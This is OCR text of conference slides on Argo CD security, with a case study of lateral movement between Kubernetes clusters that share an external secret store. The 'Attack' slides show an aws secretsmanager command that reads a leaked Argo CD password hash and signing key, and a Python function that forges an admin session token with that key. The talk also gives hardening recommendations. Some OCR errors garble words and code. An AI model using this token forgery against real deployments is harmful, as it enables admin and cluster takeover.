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Argo CD

Whatis Argo CD?

Very simplified DevOps/GitOps pipeline

Application code Container image Production platform

(on GitHub, GitLab...) (on Docker Hub, GHCR...) (Kubernetes Cluster)

O &

Continuous Integration (ClI)
Continuous Deployment (CD)
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Argo CD

Whatis Argo CD?

Very simplified DevOps/GitOps pipeline

Application code Container image Production platform
(on GitHub, GitLab...) (on Docker Hub, GHCR...) (Kubernetes Cluster)
Pull changes Deploy application

Continuous Integration (ClI)
Continuous Deployment (CD)

B

4 SSTIC 2025 - Argo CD Secrets 1.\ L

| |



/—/

Argo CD

Applications

1 2 3 4 Next

ige1 Qrgo

User Interface

— We b U I Q} argo-cd (e} 0 argo-events
Project: default Project: default
Labels: Labels:

- C L I Status: @ Healthy © OutOfSync Status: @ Healthy @ Synced
Reposit. https://github.com/argoproj/argoproj-d Reposit. https://github.com/argoproj/argoproj-d
Target R... HEAD TargetR HEAD

- A P | Path: argocd Path: argo-events
Destinat in-cluster Destinat incluster
Namesp. argocd Namesp. workflow-playground
Created 02/22/2024 20:32:40 (a year ago) Created 02/22/2024 20:32:40 (a year ago)
Last Sync: 05/14/2025 17:06:20 (8 days ago) Last Sync: 04/02/2025 19:59:44 (2 months ago)
OCOHCD | OCCD

guestbook-ui

°0
example.guestbook o RN a year
00 ®
ayear : /™ guestbook-ui : <] guestbook-ui-56c646849b : g  Juestbook-ui-56c646849b-cb.. .
1 O 58 : B S : WP o ;
deploy s yod
& ayear | rev:1 ! avyear | rev:1 e 3 days | imagepullbackoff |( 0/1

Argo CD demonstration website https://cd.apps.argoproj.io/
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Argo CD Security
Taken seriously:

- https://argo-cd.readthedocs.io/en/release-3.0/operator-manual/security/ (¥ doc)
- https://github.com/argoproj/argo-cd/security (security policy and past issues)

- Signed releases, Security aUditS... z;_)i\:rsjion: rbai.authorization.k85‘io/v1
- Go ate:
1a§els:

app.kubernetes.io/name: argocd-application-controller

app.kubernetes.io/part-of: argocd

app.kubernetes.io/component: application-controller
name: argocd-application-controller

But... Argo CD is cluster admin in controlled clusters,| 5"
by default (able to override in Helm chart) it
cf. issue #5389 and PR argo-helm #730

https://github.com/argoproj/argo-cd/blob/v3.0.0/manifests/cluster-rbac/application-controller
6 SSTIC 2025 - Argo CD Secrets /argocd-application-controller-clusterrole.yaml
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https://argo-cd.readthedocs.io/en/release-3.0/operator-manual/security/
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https://github.com/argoproj/argo-cd/blob/v3.0.0/manifests/cluster-rbac/application-controller/argocd-application-controller-clusterrole.yaml
https://github.com/argoproj/argo-cd/blob/v3.0.0/manifests/cluster-rbac/application-controller/argocd-application-controller-clusterrole.yaml
https://github.com/argoproj/argo-cd/issues/5389
https://github.com/argoproj/argo-helm/pull/730
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Argo CD

Argo CD Configuration

- No traditional database (MariaDB, PostgreSQL...)
- Application resources using CRD (Custom Resource Definitions)
- Argo CD settings:

- Kubernetes ConfigMap argocd-cm

- Kubernetes Secret argocd-secret
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Argo CD

Argo CD Configuration: argocd-secret

1 apiVersion: v
2 v data:
3 admin.password: ++++++++
4 admin.passwordMtime: ++++++++
5 server.secretkey: ++++++++
6 tls.cri: ++++++++
7 tls.key: ++++++++
8 kind: Secret
9 v metadata:
10 annotations:
11 argocd.argoproj.io/tracking-id: argo-cd:/Secret:argocd/argocd-secret
12 cert-manager.io/alt-names: cd.apps.argoproj.io
13 cert-manager.io/certificate-name: argo-cd-cert
14 cert-manager.io/common-name: cd.apps.argoproj.io
15 cert-manager.io/ip-sans: "'
16 cert-manager.io/issuer-group: '’
17 cert-manager.io/issuer-kind: Issuer
18 cert-manager.io/issuer-name: argo-cd-issuer
19 cert-manager.io/uri-sans: "'
20 ~ kubectl.kubernetes.io/last-applied-configuration: >-
21 {"apiversion":"v1","kind":"Secret","metadata": {"annotations":{"argocd.argoproj.io/track
22 creationTimestamp: '2024-02-22T15:52:47Z'
23 labels:
24 app.kubernetes.io/name: argocd-secret
25 app.kubernetes.io/part-of: argocd
26 controller.cert-manager.io/fao: 'true’
27 name: argocd-secret
28 namespace: argocd
29 resourceVersion: '540090943°'
30 uid: 9c4259f0-1d03-41a2-a83f-dbcl835876f6
31 type: Opaque
8 SSTIC 2025 - Argo CD Secrets Nttps://cd.apps.argoproj.io/applications/argocd/argo-cd?view=tree&resource=
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2 clusters with External Secrets Operator

aws AWS Account

EKS Cluster A

EKS Cluster B

Compromised:
attacker is cluster admin




/—/

11

Case study

What are Kubernetes ""Secrets”?

Configuration values for deployed applications:

database passwords
access tokens
private keys for TLS

Example: access token to container image registry, shared between clusters

A

- use-case for External Secrets Operator (https://external-secrets.io/latest/ ) K,h
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Case study

2 clusters with External Secrets Operator

aws AWS Account

@ EKS Cluster A @ EKS Cluster B

Compromised:
ﬁ attacker is cluster admin

‘ ESO Synchronization }

?’é} AWS Secrets Manager:
s e platform/ghcr/token

e platform/dockerhub/token
e platform/argocd/secret
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© Case study

Attack

From cluster B, with External Secrets Operator credentials:

$ aws secretsmanager get-secret-value --secret-id platform/argocd/secret

{

"ARN": "arn:aws:secretsmanager:eu-west-3:[...]",
"Name": "platform/argocd/secret",

"SecretString": "{
\"admin.password\":\"$2a$1O$4sRnwtvm9XMbSAPDZVImTeh37MREP6yDanellIQamT/cuMnSng. "

\"server.secretkey\":\"JA+Lgmv/d7TbM8yr0EIT+cRIsJAGxAxrqo6hghOKOMQ\"}",

I

JWT key for session cookies
and API tokens

Password hash
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Case study

Att k def forge_jwt(key: str, audience: str = "argocd") -> str:
ac now = int(time.time())

header = json.dumps ({
"alg": "HS256",
lltypll . n JwT" 5

}) .encode("ascii")

claims = json.dumps ({

Forging a specific token for TSR Mg,
cookie argocd. token "aud": audience,

"iat": now,
"nbf": now,
"exp": now + 24 x 3600,
. "sub": |"admin:login"
Admin on the WebUI. "jti": "01234567-89ab-cdef-0123-456789abcdet",
}) .encode("ascii")

To become cluster admin: signed = b64url_encode(header) + b"." + b64url_encode(claims)
deploy a new application with signature = hmac.digest(key.encode("ascii"), signed, "sha256")
token = signed + b"." + b64url_encode(signature)

admin CIUSterRO|eBmdmg return token.decode("ascii")

print (forge_jwt("JA+Lqmv/d7TbM8yrOEIT+cRIsJAGxAxrqo6hghOKOMQ="))
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Recommendations

1. Restrict access to the value of argocd-seczret (including field server.serverkey)
- If synchronized with External Secrets Operator, control what can read/write

2.  When using SSO authentication, disable local admin account
- Add admin.enabled: "false" tothe ConfigMap argocd-cm

3. Drop cluster admin privileges for argocd-application-controller
- Only grant permissions to some hamespaces

4. Assess generic security recommendations for Kubernetes clusters

- Service account management ; secrets rotation ; network policy...

In security incident response, assume: read argocd-secret = gained cluster admin privileges.
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Conclusion

New kind of lateral movement attack where
Kubernetes clusters share the same external
storage of their Secrets.

Vulnerability lies in the way Argo CD is deployed,
not in the project itself.

More details in the article.

See also blog post:
https://www.ledger.com/argo-cd-security-misco
nfiguration-adventures
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/' Argo CD

History

- 2018: first commit

- 2019:v1.0

- 2020: CNCF Incubating maturity
- 2021 v2.0 and first ArgoCon

- 2022: CNCF Graduated maturity
- 2024: @memenetes tweets

“When everybody else is an Argo CD fan, but you still use Flux”
https://x.com/memenetes/status/1817953369824100626

2025:v3.0
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https://github.com/argoproj/argo-cd/commit/a67038ae2e9cb9b9b16423702f98b41e36601001
https://github.com/argoproj/argo-cd/releases/tag/v1.0.0
https://www.cncf.io/projects/argo/
https://github.com/argoproj/argo-cd/releases/tag/v2.0.0
https://www.youtube.com/playlist?list=PLGHfqDpnXFXKwNGO_8usFuTO-rIHNyefC
https://x.com/memenetes
https://x.com/memenetes/status/1817953369824100626
https://github.com/argoproj/argo-cd/releases/tag/v3.0.0

